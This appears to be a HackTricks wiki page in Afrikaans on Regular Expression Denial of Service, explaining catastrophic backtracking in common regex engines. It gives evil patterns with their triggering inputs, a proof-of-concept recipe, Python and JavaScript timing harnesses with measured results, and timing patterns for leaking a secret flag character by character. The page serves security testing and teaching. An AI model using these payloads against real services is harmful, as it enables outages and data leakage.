Regular expression Denial of Service - ReDoS

Reading time: 7 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Regular Expression Denial of Service (ReDoS)

A Regular Expression Denial of Service (ReDoS) gebeur wanneer iemand swakhede in die manier waarop regular expressions (a way to search and match patterns in text) werk, misbruik. Soms kan regular expressions baie stadig raak, veral as die stuk teks waarmee hulle werk groter word. Hierdie traagheid kan so erg word dat dit vinnig groei selfs met klein toename in die teksgrootte. Aanvallers kan hierdie probleem gebruik om 'n program wat regular expressions gebruik vir 'n lang tyd onbruikbaar te maak.

Die problematiese Regex Naïewe algoritme

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Engine behavior and exploitability

  • Die meeste gewilde engines (PCRE, Java java.util.regex, Python re, JavaScript RegExp) gebruik 'n backtracking VM. Sorgvuldig saamgestelde insette wat baie oorvleuelende maniere skep om 'n subpatroon te pas, dwing eksponensiële of hoë-polinoom backtracking af.
  • Sommige engines/biblioteke is ontwerp om ReDoS-resilient te wees deur konstruksie (geen backtracking), bv. RE2 en porte gebaseer op finite automata wat worst‑case lineêre tyd bied; hulle vir untrusted input gebruik verwyder die backtracking DoS-primitive. Sien die verwysings aan die einde vir besonderhede.

Kwaadwillige Regexes

'n Kwaadwillige regular expression-patroon is een wat vasloop op sorgvuldig saamgestelde insette wat 'n DoS veroorsaak. Kwaadwillige regex-patrone bevat gewoonlik groepering met herhaling en herhaling of alternasie met oorvleueling binne die herhaalde groep. Sommige voorbeelde van kwaadwillige patrone sluit in:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

Al hierdie is kwesbaar vir die inset aaaaaaaaaaaaaaaaaaaaaaaa!.

Praktiese resep om PoCs te bou

Die meeste katastrofiese gevalle volg hierdie vorm:

  • Prefix that gets you into the vulnerable subpattern (optional).
  • Lange reeks van 'n karakter wat ambigue ooreenkomste binne geneste/oorvleuelende kwantiteerders veroorsaak (bv. baie a, _, of spasies).
  • 'n Finale karakter wat totale mislukking afdwing sodat die engine deur alle moontlikhede moet backtrack (dikwels 'n karakter wat nie die laaste token sal pas nie, soos !).

Minimale voorbeelde:

  • (a+)+$ vs input "a"*N + "!"
  • \w*_*\w*$ vs input "v" + "_"*N + "!"

Verhoog N en observeer super‑lineêre groei.

Vinnige tydmeting-harnas (Python)

python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS Payloads

String Exfiltration via ReDoS

In 'n CTF (of bug bounty) mag jy dalk die Regex beheer waarmee 'n sensitive information (die flag) ooreenstem. Dit kan dan nuttig wees om die bladsy te laat vries (timeout of langer verwerkingstyd) as die Regex pas, en nie as dit nie pas nie. Op hierdie manier kan jy die string exfiltrate karakter vir karakter:

  • In this post kan jy hierdie ReDoS reël vind: ^(?=<flag>)((.*)*)*salt$
  • Example: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • In this writeup kan jy hierdie een vind: <flag>(((((((.*)*)*)*)*)*)*)!
  • In this writeup hy het gebruik: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Beheer van input en Regex

Die volgende is ReDoS voorbeelde waar jy beide die input en die regex beheer:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Taal/enjin notas vir aanvallers

  • JavaScript (browser/Node): Die ingeboude RegExp is 'n backtracking enjin en is algemeen uitbuitbaar wanneer regex+input deur 'n aanvaller beïnvloed word.
  • Python: re is backtracking. Lang ambiguïe reekse plus 'n mislukte staart lei dikwels tot catastrophic backtracking.
  • Java: java.util.regex is backtracking. As jy slegs input beheer, kyk vir endpunte wat komplekse validators gebruik; as jy patrone beheer (bv. stored rules), ReDoS is gewoonlik triviaal.
  • Enjins soos RE2/RE2J/RE2JS of die Rust regex crate is ontwerp om catastrophic backtracking te voorkom. As jy hierdie teëkom, fokus op ander knelpunte (bv. enorme patrone) of vind komponente wat steeds backtracking enjins gebruik.

Gereedskap

Wenks: As jy slegs input beheer, genereer stringe met dobbelende lengtes (bv. 2^k karakters) en spoor latensie. Eksponensiële groei dui sterk daarop dat 'n bruikbare ReDoS moontlik is.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks